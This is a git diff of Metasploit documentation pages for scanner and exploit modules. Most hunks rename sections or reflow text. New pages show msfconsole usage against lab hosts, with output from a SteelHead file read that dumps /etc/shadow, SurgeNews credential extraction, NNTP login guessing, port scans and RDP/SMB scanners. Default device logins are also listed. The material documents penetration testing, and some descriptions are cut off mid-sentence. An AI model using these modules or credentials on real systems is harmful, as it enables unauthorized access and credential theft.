a/documentation/modules/auxiliary/scanner/http/crawler.md +++ b/documentation/modules/auxiliary/scanner/http/crawler.md @@ -34,9 +34,10 @@ You can use any web application to test the crawler. 4. Do: ```set URI [PATH]``` 4. Do: ```run``` -## Sample Output +## Scenarios ### Example against [WebGoat](https://github.com/WebGoat/WebGoat) + ``` msf> use auxiliary/scanner/http/crawler msf auxiliary(crawler) > set RHOST 127.0.0.1 diff --git a/documentation/modules/auxiliary/scanner/http/epmp1000_cmd_exec.md b/documentation/modules/auxiliary/scanner/http/epmp1000_cmd_exec.md index 1bd59c1165..7349610721 100755 --- a/documentation/modules/auxiliary/scanner/http/epmp1000_cmd_exec.md +++ b/documentation/modules/auxiliary/scanner/http/epmp1000_cmd_exec.md @@ -1,4 +1,9 @@ -This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 ( use auxiliary/scanner/http/epmp1000_cmd_exec diff --git a/documentation/modules/auxiliary/scanner/http/epmp1000_dump_config.md b/documentation/modules/auxiliary/scanner/http/epmp1000_dump_config.md index a10082cce2..c7a42c8a69 100644 --- a/documentation/modules/auxiliary/scanner/http/epmp1000_dump_config.md +++ b/documentation/modules/auxiliary/scanner/http/epmp1000_dump_config.md @@ -1,4 +1,5 @@ -This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box has four (4) login accounts - admin/admin, installer/installer, home/home, and readonly/readonly. This module requires any one of the following login credentials - admin / installer / home - to dump device configuration file. +This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box has four (4) login accounts - admin/admin, installer/installer, home/home, and readonly/readonly. +This module requires any one of the following login credentials - admin / installer / home - to dump device configuration file. ## Verification Steps @@ -7,7 +8,7 @@ This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box 3. Do: ```set RPORT [PORT]``` 4. Do: ```run``` -## Sample Output +## Scenarios ``` msf > use auxiliary/scanner/http/epmp1000_dump_config diff --git a/documentation/modules/auxiliary/scanner/http/epmp1000_dump_hashes.md b/documentation/modules/auxiliary/scanner/http/epmp1000_dump_hashes.md index 6ff25406ec..cb1a7cdc5f 100644 --- a/documentation/modules/auxiliary/scanner/http/epmp1000_dump_hashes.md +++ b/documentation/modules/auxiliary/scanner/http/epmp1000_dump_hashes.md @@ -1,4 +1,9 @@ -This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 ( use auxiliary/scanner/http/epmp1000_dump_hashes diff --git a/documentation/modules/auxiliary/scanner/http/epmp1000_web_login.md b/documentation/modules/auxiliary/scanner/http/epmp1000_web_login.md index 8c90ba0351..34271d7913 100644 --- a/documentation/modules/auxiliary/scanner/http/epmp1000_web_login.md +++ b/documentation/modules/auxiliary/scanner/http/epmp1000_web_login.md @@ -1,4 +1,5 @@ -This module scans for Cambium ePMP 1000 management login portal(s), and attempts to identify valid credentials. Default login credentials are - admin/admin, installer/installer, home/home and readonly/readonly. +This module scans for Cambium ePMP 1000 management login portal(s), and attempts to identify valid credentials. +Default login credentials are - admin/admin, installer/installer, home/home and readonly/readonly. ## Verification Steps @@ -7,7 +8,7 @@ This module scans for Cambium ePMP 1000 management login portal(s), and attempts 3. Do: ```set RPORT [PORT]``` 4. Do: ```run``` -## Sample Output +## Scenarios ``` msf > use auxiliary/scanner/http/epmp1000_web_login diff --git a/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md b/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md index 357b0fb84d..b6a63b1c8c 100644 --- a/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md +++ b/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md @@ -1,11 +1,13 @@ -This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. +This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. +A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. -The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db. This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. +The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db. +This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions include: -VMU-C EM prior to firmware Version A11_U05 -VMU-C PV prior to firmware Version A17. +* VMU-C EM prior to firmware Version A11_U05 +* VMU-C PV prior to firmware Version A17. ## Verification Steps @@ -14,7 +16,7 @@ VMU-C PV prior to firmware Version A17. 3. Do: ```set RPORT [PORT]``` 4. Do: ```run``` -## Sample Output +## Scenarios ``` msf > use auxiliary/scanner/http/gavazzi_em_login_loot diff --git a/documentation/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.md b/documentation/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.md index a1eba6a6c9..904c63465a 100644 --- a/documentation/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.md +++ b/documentation/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.md @@ -1,4 +1,5 @@ -Meteocontrol WEB'Log Data Loggers are affected with an authentication bypass vulnerability. The module exploits this vulnerability to remotely extract Administrator password for the device management portal. +Meteocontrol WEB'Log Data Loggers are affected with an authentication bypass vulnerability. +The module exploits this vulnerability to remotely extract Administrator password for the device management portal. Note: In some versions, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Manual verification will be required in such cases. @@ -9,7 +10,7 @@ Note: In some versions, 'Website password' page is renamed or not present. There 3. Do: ```set RPORT [PORT]``` 4. Do: ```run``` -## Sample Output +## Scenarios ``` msf > use auxiliary/scanner/http/meteocontrol_weblog_extractadmin diff --git a/documentation/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.md b/documentation/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.md index 2a525fb316..b7fbd69b40 100755 --- a/documentation/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.md +++ b/documentation/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.md @@ -11,7 +11,8 @@ This module dumps memory contents using a crafted Range header and affects only 3. Do: ```set RPORT [PORT]``` 4. Do: ```run``` -## Sample Output +## Scenarios + ``` msf > use auxiliary/scanner/http/ms15_034_http_sys_memory_dump msf auxiliary(ms15_034_http_sys_memory_dump) > set RHOSTS 10.1.1.125 diff --git a/documentation/modules/auxiliary/scanner/http/owa_ews_login.md b/documentation/modules/auxiliary/scanner/http/owa_ews_login.md index 383fede571..5c4e71880e 100644 --- a/documentation/modules/auxiliary/scanner/http/owa_ews_login.md +++ b/documentation/modules/auxiliary/scanner/http/owa_ews_login.md @@ -1,4 +1,5 @@ -This module is for password guessing against OWA's EWS service which often exposes NTLM authentication over HTTPS. It is typically faster than the traditional form-based OWA login method. +This module is for password guessing against OWA's EWS service which often exposes NTLM authentication over HTTPS. +It is typically faster than the traditional form-based OWA login method. ## Verification Steps @@ -7,7 +8,7 @@ This module is for password guessing against OWA's EWS service which often expos 3. Set TARGETURI if necessary. 4. Do: ```run``` -## Sample Output +## Scenarios ``` msf auxiliary(owa_ews_login) > run diff --git a/documentation/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.md b/documentation/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.md new file mode 100644 index 0000000000..e88b6ee725 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.md @@ -0,0 +1,57 @@ +This module exploits an authenticated arbitrary file read in the log module's filter engine. + +## Vulnerable Application + +The application is available for a 90 day evaluation after free registration from +[riverbed](https://www.riverbed.com/gb/products/steelhead/Free-90-day-Evaluation-SteelHead-CX-Virtual-Edition.html). +Downloads are available for Hyper-V, ESX(i), and KVM. Installation is straight forward, initial login is `admin`/`password`. +If need be from cli, to show the IP address of the device: `show interfaces primary` + +This module was successfully tested against: + +- SteelHead VCX (VCX255U) 9.6.0a + +## Verification Steps + +1. Do: ```auxiliary/scanner/http/riverbed_steelhead_vcx_file_read``` +2. Do: ```set RHOSTS [IP]``` +3. Set TARGETURI if necessary. +3. Set FILE if necessary. +3. Set USERNAME if necessary. +3. Set PASSWORD if necessary. +4. Do: ```run``` + +## Scenarios + +### SteelHead VCX255u 9.6.0a running on ESXi + +``` +resource (riverbed.rc)> use auxiliary/scanner/http/riverbed_steelhead_vcx_file_read +resource (riverbed.rc)> set rhosts 192.168.2.198 +rhosts => 192.168.2.198 +resource (riverbed.rc)> set verbose true +verbose => true +resource (riverbed.rc)> run +[*] CSRF Token: 18PK64EKpo4d6y0X5ZOMYJ3fxfYZKfrN +[+] Authenticated Successfully +[+] File Contents: +admin:$6$sKOU5moa$B2szxiSEzq6ZmHZw01CMf64WlzvqIgCYETeXzF1ItxZ5soOJNVXdE2H5N19t0cPeGDf/LGvRymgQHAxgojr6u1:10000:0:99999:7::: +administrator:*:10000:0:99999:7::: +apache:*:10000:0:99999:7::: +localvixuser:*:10000:0:99999:7::: +named:*:10000:0:99999:7::: +nobody:*:10000:0:99999:7::: +ntp:*:10000:0:99999:7::: +pcap:*:10000:0:99999:7::: +postgres:*:10000:0:99999:7::: +rcud:*:10000:0:99999:7::: +root:*:10000:0:99999:7::: +rpc:*:10000:0:99999:7::: +shark:*:10000:0:99999:7::: +sshd:*:10000:0:99999:7::: +statsd:*:10000:0:99999:7::: +webproxy::10000:0:99999:7::: +[+] Stored /etc/shadow to /root/.msf4/loot/20170602230238_default_192.168.2.198_host.file_311580.txt +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` \ No newline at end of file diff --git a/documentation/modules/auxiliary/scanner/http/robots_txt.md b/documentation/modules/auxiliary/scanner/http/robots_txt.md index 4161a04914..f830e1b696 100644 --- a/documentation/modules/auxiliary/scanner/http/robots_txt.md +++ b/documentation/modules/auxiliary/scanner/http/robots_txt.md @@ -25,7 +25,8 @@ is extremely common. You can set the test path where the scanner will try to find `robots.txt` file. Default is `/` -## Sample Output +## Scenarios + ``` msf> use auxiliary/scanner/http/robots_txt msf auxiliary(robots_txt) > set RHOSTS 172.217.19.238 diff --git a/documentation/modules/auxiliary/scanner/http/surgenews_user_creds.md b/documentation/modules/auxiliary/scanner/http/surgenews_user_creds.md new file mode 100644 index 0000000000..d34b05a61a --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/surgenews_user_creds.md @@ -0,0 +1,70 @@ +## Description + + This module exploits a vulnerability in the WebNews web interface of SurgeNews on TCP ports 9080 and 8119 which allows unauthenticated users to download arbitrary files from the software root directory; including the user database, configuration files and log files. + + This module extracts the administrator username and password, and the usernames and passwords or password hashes for all users. + + +## Vulnerable Application + + [SurgeNews](http://netwinsite.com/surgenews/) is a high performance, fully threaded, next generation News Server with integrated WebNews interface. + + This module has been tested successfully on: + + * SurgeNews version 2.0a-13 on Windows 7 SP 1. + * SurgeNews version 2.0a-12 on Ubuntu Linux. + + Installers: + + * [SurgeNews Installers](http://netwinsite.com/cgi-bin/keycgi.exe?cmd=download&product=surgenews) + + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use auxiliary/scanner/http/surgenews_user_creds` + 3. Do: `set rhosts [IP]` + 4. Do: `run` + 5. You should get credentials + + +## Scenarios + + ``` + msf > use auxiliary/scanner/http/surgenews_user_creds + msf auxiliary(surgenews_user_creds) > set rhosts 172.16.191.133 172.16.191.166 + rhosts => 172.16.191.133 172.16.191.166 + msf auxiliary(surgenews_user_creds) > run + + [+] Found administrator credentials (admin:admin) + + SurgeNews User Credentials + ========================== + + Username Password Password Hash Admin + -------- -------- ------------- ----- + admin admin true + qwerty@bt {ssha}BuFLjIFUUSy1IltX3AuN420qV2ZFU7EL false + user@bt {ssha}HFTkDsnNlLiaHN+sIS9VQarVGGXmYISn false + + [+] Credentials saved in: /root/.msf4/loot/20170616185817_default_172.16.191.133_surgenews.user.c_633569.txt + [*] Scanned 1 of 2 hosts (50% complete) + [+] Found administrator credentials (test:test) + [+] Found user credentials (zxcv@win-sgbsd5tqutq:zxcv) + + SurgeNews User Credentials + ========================== + + Username Password Password Hash Admin + -------- -------- ------------- ----- + asdf@win-sgbsd5tqutq {ssha}8ytixKjxf3kaBc6T471R1Re/C8MUnKnF false + test test true + test@win-sgbsd5tqutq {ssha}Vw8EkFxAJuiZrb98Fz+sdr/yEEmBZ2Jc false + test@win-sgbsd5tqutq {ssha}j4teSf4CgA3+XVRJscFHyqoOQJRoLg4K false + zxcv@win-sgbsd5tqutq zxcv false + + [+] Credentials saved in: /root/.msf4/loot/20170616185817_default_172.16.191.166_surgenews.user.c_077983.txt + [*] Scanned 2 of 2 hosts (100% complete) + [*] Auxiliary module execution completed + ``` + diff --git a/documentation/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.md b/documentation/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.md index 1c5101c640..c8943fdc43 100644 --- a/documentation/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.md +++ b/documentation/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.md @@ -9,7 +9,7 @@ The vulnerability is due to insufficient condition checks in the part of the cod 3. Do: ```set RPORT [PORT]``` 4. Do: ```run``` -## Sample Output +## Scenarios ``` msf auxiliary(cisco_ike_benigncertain) > show options diff --git a/documentation/modules/auxiliary/scanner/misc/cisco_smart_install.md b/documentation/modules/auxiliary/scanner/misc/cisco_smart_install.md new file mode 100644 index 0000000000..ab67460db7 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/misc/cisco_smart_install.md @@ -0,0 +1,30 @@ +## Vulnerable Application + + Any system exposing the Cisco Smart Install (SMI) protocol, which typically runs on TCP port 4786. + +## Verification Steps + + 1. Do: ```use auxiliary/scanner/misc/cisco_smart_install``` + 2. Do: ```set [RHOSTS]```, replacing ```[RHOSTS]``` with a list of hosts to test for the presence of SMI + 3. Do: ```run``` + 4. If the host is exposing an identifiable SMI instance, it will print the endpoint. + + +## Scenarios + + ``` +msf auxiliary(cisco_smart_install) > run + +[*] Scanned 57 of 512 hosts (11% complete) +[*] Scanned 105 of 512 hosts (20% complete) +[*] Scanned 157 of 512 hosts (30% complete) +[*] Scanned 212 of 512 hosts (41% complete) +[*] Scanned 256 of 512 hosts (50% complete) +[*] Scanned 310 of 512 hosts (60% complete) +[*] Scanned 368 of 512 hosts (71% complete) +[*] Scanned 413 of 512 hosts (80% complete) +[*] Scanned 466 of 512 hosts (91% complete) +[+] a.b.c.d:4786 - Fingerprinted the Cisco Smart Install protocol +[*] Scanned 512 of 512 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/nntp/nntp_login.md b/documentation/modules/auxiliary/scanner/nntp/nntp_login.md new file mode 100644 index 0000000000..dbeda3730c --- /dev/null +++ b/documentation/modules/auxiliary/scanner/nntp/nntp_login.md @@ -0,0 +1,42 @@ +## Description + + This module attempts to authenticate to NNTP services which support the AUTHINFO authentication extension. + + This module supports AUTHINFO USER/PASS authentication, but does not support AUTHINFO GENERIC or AUTHINFO SASL authentication methods. + + If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access. + + +## Vulnerable Application + + This module has been tested successfully on: + + * [SurgeNews](http://netwinsite.com/surgenews/) on Windows 7 SP 1. + * [SurgeNews](http://netwinsite.com/surgenews/) on Ubuntu Linux. + * [INN2](https://www.eyrie.org/~eagle/faqs/inn.html) on Debian Linux. + + +## Verification Steps + + 1. Do: `use auxiliary/scanner/nntp/nntp_login` + 2. Do: `set RHOSTS [IP]` + 3. Do: `set RPORT [IP]` + 4. Do: `run` + + +## Scenarios + + ``` + msf auxiliary(nntp_login) > run + + [+] 172.16.191.166:119 - 172.16.191.166:119 Successful login with: 'asdf' : 'asdf' + [+] 172.16.191.166:119 - 172.16.191.166:119 Successful login with: 'zxcv' : 'zxcv' + [+] 172.16.191.166:119 - 172.16.191.166:119 Successful login with: 'test' : 'test' + [*] Scanned 1 of 2 hosts (50% complete) + [+] 172.16.191.213:119 - 172.16.191.213:119 Successful login with: 'asdf' : 'asdf' + [+] 172.16.191.213:119 - 172.16.191.213:119 Successful login with: 'admin' : 'admin' + [+] 172.16.191.213:119 - 172.16.191.213:119 Successful login with: 'user' : 'pass' + [*] Scanned 2 of 2 hosts (100% complete) + [*] Auxiliary module execution completed + ``` + diff --git a/documentation/modules/auxiliary/scanner/portscan/syn.md b/documentation/modules/auxiliary/scanner/portscan/syn.md new file mode 100644 index 0000000000..751590b95f --- /dev/null +++ b/documentation/modules/auxiliary/scanner/portscan/syn.md @@ -0,0 +1,59 @@ +## Description + +This module will attempt to initiate a TCP/IP connection with ports on the victim machine. It is this done by sending a SYN packet, and if victim replies with a SYN/ACK packet +that means the port is open. Then the attacker sends a RST packet, and as a result the victim's machine assumes that there is a communication error. +The attacker now knows the state of port without a full tcp connection. Major benefit of TCP SYN scan is that most logging applications do not log the TCP/RST by default. + +## Options + + **PORTS** + + This is the list of TCP ports to test on each host. + Formats like `1-3`, `1,2,3`, `1,2-3`, etc. are all supported. Default + options is to scan `1-10000` ports. + + **TIMEOUT** + + Maximum time to wait for a response. The default value is 500 milliseconds. + + **VERBOSE** + + Gives detailed message about the scan of all the ports. It also shows the + ports that were closed. + +## Verification Steps + + 1. Do: `use auxiliary/scanner/portscan/syn` + 2. Do: `set RHOSTS [IP]` + 3. Do: `set PORTS [PORTS]` + 4. Do: `run` + 5. If any of the TCP ports were open they will be discovered, status will be printed indicating as such. + +## Scenarios + +### Metaspliotable 2 + +``` +msf > use auxiliary/scanner/portscan/syn +msf auxiliary(syn) > set RHOSTS 192.168.45.159 +RHOSTS => 192.168.45.159 +msf auxiliary(syn) > set PORTS 1-10000 +PORTS => 1-10000 +msf auxiliary(syn) > run +[*] TCP OPEN 192.168.45.159:22 +[*] TCP OPEN 192.168.45.159:23 +[*] TCP OPEN 192.168.45.159:111 +[*] TCP OPEN 192.168.45.159:445 +[*] TCP OPEN 192.168.45.159:512 +[*] TCP OPEN 192.168.45.159:513 +[*] TCP OPEN 192.168.45.159:1099 +[*] TCP OPEN 192.168.45.159:2121 +[*] TCP OPEN 192.168.45.159:3306 +[*] TCP OPEN 192.168.45.159:3632 +[*] TCP OPEN 192.168.45.159:6000 +[*] TCP OPEN 192.168.45.159:6697 +[*] TCP OPEN 192.168.45.159:8009 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed + +``` diff --git a/documentation/modules/auxiliary/scanner/portscan/tcp.md b/documentation/modules/auxiliary/scanner/portscan/tcp.md new file mode 100644 index 0000000000..61eea3ec25 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/portscan/tcp.md @@ -0,0 +1,71 @@ +## Description + + This module will enumerate open TCP services by performing a full TCP connect on each port. This will establish a complete three-way handshake (SYN -> SYN/ACK -> ACK) on the target port. This does not need administrative privileges on the source machine, which may be useful if pivoting. + +## Vulnerable Application + + Any reachable TCP endpoint is a potential target. + +## Options + + **PORTS** + + This is the list of ports to test for TCP Scan on each host. + Formats like `1-3`, `1,2,3`, `1,2-3`, etc. are all supported. Default + options is to scan `1-10000` ports. + + **ConnectTimeout** + + This options states the maximum number of seconds to establish a tcp + connection. Default value if `10`. + + **VERBOSE** + + Gives detailed message about the scan of all the ports. It also shows the + ports that were closed. + +## Verification Steps + + 1. Do: ```use auxiliary/scanner/portscan/tcp``` + 2. Do: ```set RHOSTS [IP]``` + 3. Do: ```set PORTS [PORTS]``` + 4. Do: ```run``` + +## Scenarios + +### Metaspliotable 2 + +``` +msf > use auxiliary/scanner/portscan/tcp +msf auxiliary(tcp) > set RHOSTS 192.168.45.159 +msf auxiliary(tcp) > set PORTS 1-10000 +msf auxiliary(tcp) > run +[*] 192.168.45.159: - 192.168.45.159:25 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:21 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:23 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:22 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:53 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:80 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:111 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:139 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:445 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:513 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:514 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:512 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:1099 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:1524 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:2049 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:2121 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:3306 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:3632 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:5432 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:5900 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:6000 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:6667 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:6697 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:8009 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:8180 - TCP OPEN +[*] 192.168.45.159: - 192.168.45.159:8787 - TCP OPEN +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/portscan/xmas.md b/documentation/modules/auxiliary/scanner/portscan/xmas.md new file mode 100644 index 0000000000..d9d43bdbab --- /dev/null +++ b/documentation/modules/auxiliary/scanner/portscan/xmas.md @@ -0,0 +1,91 @@ +# Description + +This module is used to determine if the ports on target machine are closed. It sends probes containing the FIN, PSH and URG flags. Scan is faster and stealthier compared to some other scans. Following action are performed depending on the state of ports - + +#### OPEN|FILTERED Port: +Detects open|filtered port via no response to the segment + +#### Closed Port: +Detects a closed port via a RST received in response to the FIN + +# Required Permissions + + XMAS scan requires the use of raw sockets, and thus cannot be performed from some Windows + systems (Windows XP SP 2, for example). On Unix and Linux, raw socket manipulations require root privileges. + +# Options + + **PORTS** + + This is the list of TCP ports to test on each host. + Formats like `1-3`, `1,2,3`, `1,2-3`, etc. are all supported. Default + options is to scan `1-10000` ports. + + **Timeout** + + This options states the reply read timeout in milliseconds. Default value if `500`. + + **RHOSTS** + + The target address range is defined in this option. + + **VERBOSE** + + Gives detailed message about the scan of all the ports. It also shows the + ports that were not open/filtered. + +# Verification Steps + + 1. Do: `use auxiliary/scanner/portscan/xmas` + 2. Do: `set RHOSTS [IP]` + 3. Do: `set PORTS [PORTS]` + 4. Do: `run` + 5. The open/filtered ports will be discovered, status will be printed indicating as such. + +# Scenarios + +### Metaspliotable 2 + +``` +msf > use auxiliary/scanner/portscan/xmas +msf auxiliary(xmas) > set rhosts 192.168.45.159 +rhosts => 192.168.45.159 +msf auxiliary(xmas) > set ports 1-100 +ports => 1-100 +msf auxiliary(xmas) > run + +[*] TCP OPEN|FILTERED 192.168.45.159:1 +[*] TCP OPEN|FILTERED 192.168.45.159:3 +[*] TCP OPEN|FILTERED 192.168.45.159:5 +[*] TCP OPEN|FILTERED 192.168.45.159:8 +[*] TCP OPEN|FILTERED 192.168.45.159:12 +[*] TCP OPEN|FILTERED 192.168.45.159:14 +[*] TCP OPEN|FILTERED 192.168.45.159:16 +[*] TCP OPEN|FILTERED 192.168.45.159:19 +[*] TCP OPEN|FILTERED 192.168.45.159:21 +[*] TCP OPEN|FILTERED 192.168.45.159:37 +[*] TCP OPEN|FILTERED 192.168.45.159:39 +[*] TCP OPEN|FILTERED 192.168.45.159:41 +[*] TCP OPEN|FILTERED 192.168.45.159:43 +[*] TCP OPEN|FILTERED 192.168.45.159:49 +[*] TCP OPEN|FILTERED 192.168.45.159:52 +[*] TCP OPEN|FILTERED 192.168.45.159:53 +[*] TCP OPEN|FILTERED 192.168.45.159:55 +[*] TCP OPEN|FILTERED 192.168.45.159:57 +[*] TCP OPEN|FILTERED 192.168.45.159:59 +[*] TCP OPEN|FILTERED 192.168.45.159:61 +[*] TCP OPEN|FILTERED 192.168.45.159:63 +[*] TCP OPEN|FILTERED 192.168.45.159:65 +[*] TCP OPEN|FILTERED 192.168.45.159:67 +[*] TCP OPEN|FILTERED 192.168.45.159:69 +[*] TCP OPEN|FILTERED 192.168.45.159:73 +[*] TCP OPEN|FILTERED 192.168.45.159:89 +[*] TCP OPEN|FILTERED 192.168.45.159:91 +[*] TCP OPEN|FILTERED 192.168.45.159:93 +[*] TCP OPEN|FILTERED 192.168.45.159:95 +[*] TCP OPEN|FILTERED 192.168.45.159:97 +[*] TCP OPEN|FILTERED 192.168.45.159:99 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed + +``` diff --git a/documentation/modules/auxiliary/scanner/rdp/rdp_scanner.md b/documentation/modules/auxiliary/scanner/rdp/rdp_scanner.md new file mode 100644 index 0000000000..068377810b --- /dev/null +++ b/documentation/modules/auxiliary/scanner/rdp/rdp_scanner.md @@ -0,0 +1,66 @@ +## Vulnerable Application + + Any system exposing the remote desktop protocol, RDP, typically on 3389/TCP. + +## Verification Steps + + 1. Do: ```use auxiliary/scanner/rdp/rdp_scanner``` + 2. Do: ```set [RHOSTS]```, replacing ```[RHOSTS]``` with a list of hosts to test for the presence of RDP + 3. Do: ```run``` + 4. If the host is exposing an identifiable RDP instance, it will print the endpoint. + +## Options + + There are three options currently supported that control what security protocols to + send in the RDP negotiation request, which can be helpful in identifying RDP + endpoints that might be locked down or configured differently: + + **TLS** Set to true to request TLS security support + **CredSSP** Set to true to request CredSSP support + **EarlyUser** Set to true to request Early User Authorization Result PDU support + +## Scenarios + + ``` +msf auxiliary(rdp_scanner) > run + +[+] 10.4.18.26:3389 - Identified RDP +[+] 10.4.18.22:3389 - Identified RDP +[+] 10.4.18.89:3389 - Identified RDP +[+] 10.4.18.9:3389 - Identified RDP +[+] 10.4.18.67:3389 - Identified RDP +[+] 10.4.18.80:3389 - Identified RDP +[+] 10.4.18.34:3389 - Identified RDP +[+] 10.4.18.70:3389 - Identified RDP +[+] 10.4.18.30:3389 - Identified RDP +[+] 10.4.18.76:3389 - Identified RDP +[+] 10.4.18.13:3389 - Identified RDP +[+] 10.4.18.91:3389 - Identified RDP +[+] 10.4.18.5:3389 - Identified RDP +[+] 10.4.18.47:3389 - Identified RDP +[+] 10.4.18.41:3389 - Identified RDP +[+] 10.4.18.105:3389 - Identified RDP +[*] Scanned 44 of 256 hosts (17% complete) +[*] Scanned 55 of 256 hosts (21% complete) +[+] 10.4.18.118:3389 - Identified RDP +[+] 10.4.18.108:3389 - Identified RDP +[+] 10.4.18.139:3389 - Identified RDP +[*] Scanned 94 of 256 hosts (36% complete) +[*] Scanned 110 of 256 hosts (42% complete) +[+] 10.4.18.157:3389 - Identified RDP +[+] 10.4.18.166:3389 - Identified RDP +[+] 10.4.18.164:3389 - Identified RDP +[+] 10.4.18.170:3389 - Identified RDP +[+] 10.4.18.185:3389 - Identified RDP +[+] 10.4.18.209:3389 - Identified RDP +[+] 10.4.18.188:3389 - Identified RDP +[*] Scanned 156 of 256 hosts (60% complete) +[+] 10.4.18.237:3389 - Identified RDP +[+] 10.4.18.225:3389 - Identified RDP +[*] Scanned 186 of 256 hosts (72% complete) +[*] Scanned 194 of 256 hosts (75% complete) +[*] Scanned 208 of 256 hosts (81% complete) +[*] Scanned 253 of 256 hosts (98% complete) +[*] Scanned 256 of 256 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/smb/smb1.md b/documentation/modules/auxiliary/scanner/smb/smb1.md new file mode 100644 index 0000000000..17c30c3a8a --- /dev/null +++ b/documentation/modules/auxiliary/scanner/smb/smb1.md @@ -0,0 +1,55 @@ +# Description +This module scans for hosts that support the SMBv1 protocol. It works by sending an SMB_COM_NEGOTATE request to each host specified in RHOSTS and claims that it only supports the following SMB dialects: +```PC NETWORK PROGRAM 1.0 +LANMAN1.0 +Windows for Workgroups 3.1a +LM1.2X002 +LANMAN2.1 +NT LM 0.12 +``` +If the SMB server has SMBv1 enabled it will respond to the request with a dialect selected. +If the SMB server does not support SMBv1 a RST will be sent. + +___ +# Usage + +The following is an example of its usage, where x.x.x.x allows SMBv1 and y.y.y.y does not. + +#### A host that does support SMBv1. + +``` +msf auxiliary(smb1) > use auxiliary/scanner/smb/smb1 +msf auxiliary(smb1) > set RHOSTS x.x.x.x +RHOSTS => x.x.x.x +msf auxiliary(smb1) > run + +[+] x.x.x.x:445 - x.x.x.x supports SMBv1 dialect. +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(smb1) > services -S x.x.x.x + +Services +======== + +host port proto name state info +---- ---- ----- ---- ----- ---- +x.x.x.x 445 tcp smb1 open +``` + +#### A host that does not support SMBv1 + +``` +msf auxiliary(smb1) > use auxiliary/scanner/smb/smb1 +msf auxiliary(smb1) > set RHOSTS y.y.y.y +RHOSTS => y.y.y.y +msf auxiliary(smb1) > run + +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` +___ + + +## Options + +The only option is RHOSTS, which can be specified as a single IP, hostname, or an IP range in CIDR notation or range notation. It can also be set using hosts from the database using ```hosts -R```. \ No newline at end of file diff --git a/documentation/modules/auxiliary/scanner/snmp/cambium_snmp_loot.md b/documentation/modules/auxiliary/scanner/snmp/cambium_snmp_loot.md index 33cc276ae5..313c4e82d9 100644 --- 